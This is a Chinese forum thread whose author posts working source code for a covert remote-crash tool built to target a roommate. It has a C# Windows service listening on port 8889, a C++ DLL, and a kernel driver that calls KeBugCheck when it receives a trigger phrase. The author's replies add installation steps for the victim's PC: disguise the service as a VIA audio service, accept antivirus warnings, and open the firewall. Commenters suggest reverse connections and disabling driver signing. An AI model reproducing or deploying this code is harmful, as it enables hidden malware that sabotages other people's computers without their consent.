室友打游戏 放音乐很烦人,还劝不听?怎么办!远程遥控计算机蓝屏~~~
张静茹2015/06/27软件综合 IP:北京


室友打游戏 放音乐很烦人,还劝不听?怎么办,继续往下看,让他在玩的最嗨的时候突然蓝屏~~~~


普通Ring3权限的软件不容易导致蓝屏,Ring0权限下就简单了,随便用指针乱指就行了
比如
int *p;
p = 0x100;
(*p) = 0x100;


在ring3全权限下执行你只会得到一个异常,ring0下执行就会蓝屏啦


解释一下什么时Ring0权限
Intel的x86处理器是通过Ring级别来进行访问控制的,级别共分4层,RING0,RING1,RING2,RING3。Windows只使用其中的两个级别RING0和RING3。RING0层拥有最高的权限,RING3层拥有最低的权限。按照Intel原有的构想,应用程序工作在RING3层,只能访问RING3层的数据,操作系统工作在RING0层,可以访问所有层的数据,而其他驱动程序位于RING1、RING2层,每一层只能访问本层以及权限更低层的数据。如果普通应用程序企图执行RING0指令,则Windows会显示“非法指令”错误信息。尽管有CPU的特权级别作保护,遗憾的是WINDOW98本身漏洞很多,使用Windows 98的系统一天死机n回也是正常的





程序注释已经非常详细了,我就不再多废话了


下面的是C#写的windows服务程序 服务程序挂载到系统之后,随系统自动启动
主要是创建Soctet通信,监听客户端连接,收到指令后启动蓝屏
程序流程基本就是从上到下执行的





<code class="lang-c">[DllImport("DriverAPI.dll")] //C++写的驱动控制函数 入口声明
public static extern UInt32 Blue_bottle();
 
 
private static byte[] result = new byte[1024];
private static int myProt = 8889;   //端口 
static Socket serverSocket;
protected override void OnStart(string[] args)/////       服务程序从此处开始!!!!!!
{
    string hostname = Dns.GetHostName();//得到本机名  
    IPHostEntry localhost = Dns.GetHostEntry(hostname);//得到本地所有ip地址
       
    foreach (IPAddress ServerIp in localhost.AddressList)//循环所有得到的ip地址
    {
        try//异常处理
        {
            serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);//创建一个Socket
            serverSocket.Bind(new IPEndPoint(ServerIp, myProt));  //绑定IP地址:端口  如果能绑定说明ip地址可用
            break;//跳出循环
        }
        catch (Exception)
        {//如果发生异常则代表ip地址不可用 测试下一个ip地址
 
        }
    }
    serverSocket.Listen(10);    //设定最多10个排队连接请求 
    Thread myThread = new Thread(ListenClientConnect);//创建一个新的线程监听客户端连接
    myThread.Start();//线程启动
}
 
 
/// <summary> 
/// 监听客户端连接 
/// </summary> 
private static void ListenClientConnect()
{
    while (true)
    {
        Socket clientSocket = serverSocket.Accept();//监听时会卡在这个函数中 直到有客户端链接
        clientSocket.Send(Encoding.Default.GetBytes("欢迎光临\r\n回复:\"哈药三精\"启动蓝瓶程序\r\n"));//给客户端发送消息
        Thread receiveThread = new Thread(ReceiveMessage);//初始化接收消息进程
        receiveThread.Start(clientSocket);//线程启动,并传进当前连接客户端的socket 
        //继续监听下一个客户端连接
    }
}
 
/// <summary> 
/// 接收消息 
/// </summary> 
/// <param name="clientSocket">已经连接的socket 
private static void ReceiveMessage(object clientSocket)
{
    Socket myClientSocket = (Socket)clientSocket;//当前连接客户端的socket
    while (true)
    {
        try
        {
            //通过clientSocket接收数据 
            int receiveNumber = myClientSocket.Receive(result); //接收客户端发来的消息 如果没有消息,就一直卡在这个函数里
 
            if (Encoding.Default.GetString(result, 0, receiveNumber).IndexOf("哈药三精") != -1)//查看是否有蓝屏指令
            {
                Blue_bottle();//启动蓝屏 这个还是用C++写的 因为C#封装winAPI太麻烦
            }
            else
            {
                myClientSocket.Send(Encoding.Default.GetBytes("回复:\"哈药三精\"启动蓝瓶程序\r\n"));
            }
 
            if (myClientSocket.Poll(1000, SelectMode.SelectRead))  //判断客户端是否可读
            {
                throw new Exception("链接已经断开");//抛出异常
            }
        }
        catch (Exception )//如果产生任何异常 有可能是客户端已经断开或者出现其他问题 则跳到这里开始执行
        {
            myClientSocket.Shutdown(SocketShutdown.Both);
            myClientSocket.Close();//关闭Socket连接 释放资源
            break; //跳出死循环 当前线程结束
        }
    }
}</code>








下面是用C++写的DriverAPI.Dll
当Blue_bottle被windows服务执行后,打开驱动设备,获得设备句柄,
WriteFile会触发驱动程序执行WDMWrite派遣函數







<code class="lang-c">#define DEVICE_NAME L"\\\\.\\HelloWDM"
void Write(HANDLE hDevice)
{
    if (hDevice != INVALID_HANDLE_VALUE)
    {
        int buffer[] = { 1111, 2222, 3333, 4444, 5555 };
        DWORD ret = 0;
        WriteFile(
            hDevice,//文件句柄
            buffer,//数据缓存区指针
            sizeof(buffer),//你要写的字节数
            &ret,//用于保存实际写入字节数的存储区域的指针
            NULL//OVERLAPPED结构体指针
            );
    }
}
extern "C" DLL_API unsigned int Blue_bottle(void) 
{
    HANDLE hDevice = CreateFile(DEVICE_NAME,//
        GENERIC_READ | GENERIC_WRITE, //访问模式(写 / 读)
        0,                            //共享模式 
        NULL,                         //指向安全属性的指针 
        OPEN_EXISTING,                //如何创建 
        FILE_ATTRIBUTE_NORMAL,        //文件属性 
        NULL);                        //用于复制文件句柄 
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        return GetLastError();
    }
    Write(hDevice);
    return 0;
}</code>







以下是驱动程序 具有Ring0权限

<code class="lang-c">NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, //驱动程序入口 类似main
IN PUNICODE_STRING pRegistryPath)
{
    DbgPrint("Enter DriverEntry\n");
    pDriverObject->DriverExtension->AddDevice = HelloWDMAddDevice;
    pDriverObject->MajorFunction[IRP_MJ_PNP] = HelloWDMPnp;
    pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] =
        pDriverObject->MajorFunction[IRP_MJ_CREATE] = HelloWDMDispatchRoutine;
    pDriverObject->MajorFunction[IRP_MJ_READ] = HelloWDMRead;
    pDriverObject->MajorFunction[IRP_MJ_WRITE] = WDMWrite;  //定义派遣函数  DriverAPI.dll中的Write会触发这个函数执行
    pDriverObject->DriverUnload = DriverUnload;
    DbgPrint("Leave DriverEntry\n");
    return STATUS_SUCCESS;
}
 
 
 
NTSTATUS WDMWrite(IN PDEVICE_OBJECT fdo, IN PIRP Irp) //DriverAPI.dll中的Write会触发这个函数执行
{
    DbgPrint("Enter HelloWDMWrite\n");
    __asm_int_3;
    NTSTATUS status = STATUS_SUCCESS;
    PDEVICE_EXTENSION pdx = (PDEVICE_EXTENSION)fdo->DeviceExtension;//获得设备扩展  
    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);//获得irp信息  
 
    ULONG ulWrite = 0;//成功Write的字节数  
 
    ULONG ulLen = stack->Parameters.Write.Length;//获取caller想要write的字节数  
    ULONG ulOffset = (ULONG)stack->Parameters.Write.ByteOffset.QuadPart;//获取caller调用(WriteFile)的偏移量  
 
    int buffer[5] = { 0 };
    //  //把内容copy到驱动的缓冲里面。这里使用的是DO_BUFFERED_IO模式,那么可以从Irp->AssociatedIrp.SystemBuffer获取  
    //  //内核模式下的地址(系统会将用户模式的缓冲COPY到内核模式的缓冲Irp->AssociatedIrp.SystemBuffer)  
    RtlCopyMemory(buffer, Irp->AssociatedIrp.SystemBuffer, ulLen);//保存在驱动里面
    if (buffer[0] == 1111 && buffer[1] == 2222 && buffer[2] == 3333)
    {
        KeBugCheck(0x0000009C); //在Ring0权限下才可以执行,会导致蓝屏
    }
    status = STATUS_SUCCESS;
    ulWrite = ulLen;
 
 
    Irp->IoStatus.Status = status;               //设置IRP的完成状态(成功还是失败)  
    Irp->IoStatus.Information = ulWrite;     //驱动实际操作了多少字节  
    IoCompleteRequest(Irp, IO_NO_INCREMENT);    //结束IRP,无需往下面的驱动传递  
 
    DbgPrint("Leave HelloWDMWrite, write: %d bytes, offset: %d, input len: %d\n", ulWrite, ulOffset, ulWrite);
    return status;
}</code>
来自:计算机科学 / 软件综合
49
已屏蔽 原因:{{ notice.reason }}已屏蔽
{{notice.noticeContent}}
~~空空如也
张静茹 作者
8年11个月前 IP:北京
775437
引用 starpeng:
沙发呀!坐起!
非茶话区灌水会被扣分哦
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
张静茹作者
8年11个月前 修改于 8年11个月前 IP:北京
775444
引用 黑暗死宅男:
怎么用
全部编译出来 驱动和服务都挂载到系统,然后在内网用socket客户端连接过来,服务器地址时受害机的IP地址,然后给服务器发"哈药三精"  服务器就蓝屏了






将整个程序包放到C:\windows\System32\*下随便建一个文件夹或者放在某个已有的目录
DriverAPI.dll C++写的驱动通信接口 封装的winapi C#服务通过他与驱动通信
XXXXXXf  
XXXXXXs 驱动程序 Ring0权限 可以执行蓝屏
InstallUtil.exe  .net服务挂载器
VIAAudioServices.exe 伪装成威盛声卡服务的 windows服务 Windows 服务能够创建在它们自己的 Windows 会话中可长时间运行的可执行应用程序。这些服务可以在计算机启动时自动启动,可以暂停和重新启动而且不显示任何用户界面。
WdfCoinstaller01011.dll 驱动安装所必须的

挂载驱动:
打开设备管理器 添加过时硬件



下一步 安装我手动从列表选择的硬件(高级) 下一步 显示所有设备 下一步 从磁盘安装

浏览 定位到 XXXXXXf (目录下必须还有XXXXXXs , WdfCoinstaller01011.dll) 打开 确定 下一步
下一步  始终安装此驱动程序软件 (360会有警告 选择允许) 完成
    
安装服务:
CMD命令: 必须以管理员权限运行 CMD
挂载服务命令: C:\Windows\System32\0409\installutil.exe C:\Windows\System32\0409\VIAAudioServices.exe
.net服务挂载工具 exe后有一个空格↑↑ 服务所在路径,最好在Csystem32下    ↑
(360可能有提示 允许即可)
安装成功
卸载服务

C:\Windows\System32\0409\installutil.exe /u C:\Windows\System32\0409\VIAAudioServices.exe

卸载成功


此时服务还未启动 而且,不能与外网通信
打开控制面板 搜索防火墙 允许应用通过windows防火墙进行通信 更改设置
允许其他应用  添加C:\Windows\System32\0409\VIAAudioServices.exe 添加 网络类型 公用专用都勾上








挂载好服务之后打开任务管理器或者服务管理器  右键启动


就能看到服务进程了,这个服务会在系统启动的时候无声无息的自动启动

此时 打开socket客户端 服务器IP就是你室友的IP 端口是8889
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
张静茹作者
8年11个月前 IP:北京
775459
@smith
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
张静茹作者
8年11个月前 IP:北京
775484
引用 Johnny-Wei:
这样攻击别人的计算机,是非法行为哦
合成炸药也是违法的
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
张静茹作者
8年11个月前 IP:北京
775602
引用 smith:
妹子这个思路基本上是木马的经典模型。不过如果需要穿透局域网的话,就有难度了。

一是考虑反弹木马,也就是你的机器作为服务端侦听端口,被控的机器作为客户端,这样可以只要你的电脑连接在公网上就行了。但大家的IP都是电信动态分配的IP,就需要动态...
哇哦 感谢肯定
如果穿透局域网的话 可以让被害机作为客户端 连接别人送给我的服务器

win7不签名的驱动好像只是提示 你硬要装的话,也是能装上的
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
张静茹作者
8年11个月前 IP:北京
775603
引用 smith:
妹子研究驱动不错嘛,可以考虑更深入一些,挖掘一些内核溢出的漏洞,不管是windows、linux、mac、android,这些漏洞一旦找到了就是价值千金。
在苹果手机系统上,找到了这些漏洞加以利用,就可以越狱。目前国内的安全组织,如360...
驱动刚入门,驱动下的API大多都不会用,看了些驱动方面的书,讲的内核API很少,有什么推荐吗?
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
张静茹作者
8年11个月前 IP:北京
775639
引用 acmilan:
c++编写服务没有c#方便。。。还是c#最爽(其实可以直接用srvany注册普通exe为服务的)
对 有次命令打错了吧服务挂载工具给挂载到服务了 居然成功了  也没报错 但是普通exe注册为服务能正常运行吗?
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
张静茹作者
8年11个月前 IP:北京
775650
引用 acmilan:
显然不能,启动时会卡住
因此用C++需要用WinAPI来注册服务,然后退出main函数,让系统执行ServiceMain函数。
所以普通exe注册为服务需要用srvany这个工具,这个工具实现了注册服务+服务运行时调用exe的功能。
哦哦 酱紫
我的驱动再设备管理器安装完毕之后 设备类是 示例 改了inf文件里的class 和classname都没有用,您知道在哪改吗?
还有 再vs里新建一个驱动项目 就会出来俩项目 一个名字为* 另一个是* Package,这个*Package编译会报错,但是再属性管理器中添加属性表就能编译通过了,会出现可以用的sys文件和协助安装的一个dll,除此之外这个多余的项目还有什么用?
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
张静茹作者
8年11个月前 IP:北京
775676
引用 acmilan:
可能还需要换一个ClassGUID
资料:XXXXXXXXXXXXXXXXXXXXXXXXXX/en-us/library/windows/hardware/ff553426%28v=vs.85%XXXXXpx
那个package工程的...
OK 我试试
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论
张静茹作者
8年10个月前 IP:天津
781904
引用 暗夜幽灵:
win7 32位你的确可以装上并运行,win7 64位安装没问题,但是服务打不开,除非你改他启动选项把默认开启的强制驱动签名给关了.
msconfig 改掉启动选项,一般人根本不会改回来
引用
评论
加载评论中,请稍候...
200字以内,仅用于支线交流,主线讨论请采用回复功能。
折叠评论

想参与大家的讨论?现在就 登录 或者 注册

所属专业
所属分类
上级专业
同级专业
张静茹
进士 学者 机友 笔友
文章
138
回复
1857
学术分
1
2010/12/30注册,5天13时前活动
暂无简介
主体类型:个人
所属领域:无
认证方式:手机号
IP归属地:未同步
文件下载
加载中...
{{errorInfo}}
{{downloadWarning}}
你在 {{downloadTime}} 下载过当前文件。
文件名称:{{resource.defaultFile.name}}
下载次数:{{resource.hits}}
上传用户:{{uploader.username}}
所需积分:{{costScores}},{{holdScores}}下载当前附件免费{{description}}
积分不足,去充值
文件已丢失

当前账号的附件下载数量限制如下:
时段 个数
{{f.startingTime}}点 - {{f.endTime}}点 {{f.fileCount}}
视频暂不能访问,请登录试试
仅供内部学术交流或培训使用,请先保存到本地。本内容不代表科创观点,未经原作者同意,请勿转载。
音频暂不能访问,请登录试试
支持的图片格式:jpg, jpeg, png
插入公式
评论控制
加载中...
文号:{{pid}}
投诉或举报
加载中...
{{tip}}
请选择违规类型:
{{reason.type}}

空空如也

加载中...
详情
详情
推送到专栏从专栏移除
设为匿名取消匿名
查看作者
回复
只看作者
加入收藏取消收藏
收藏
取消收藏
折叠回复
置顶取消置顶
评学术分
鼓励
设为精选取消精选
管理提醒
编辑
通过审核
评论控制
退修或删除
历史版本
违规记录
投诉或举报
加入黑名单移除黑名单
查看IP
{{format('YYYY/MM/DD HH:mm:ss', toc)}}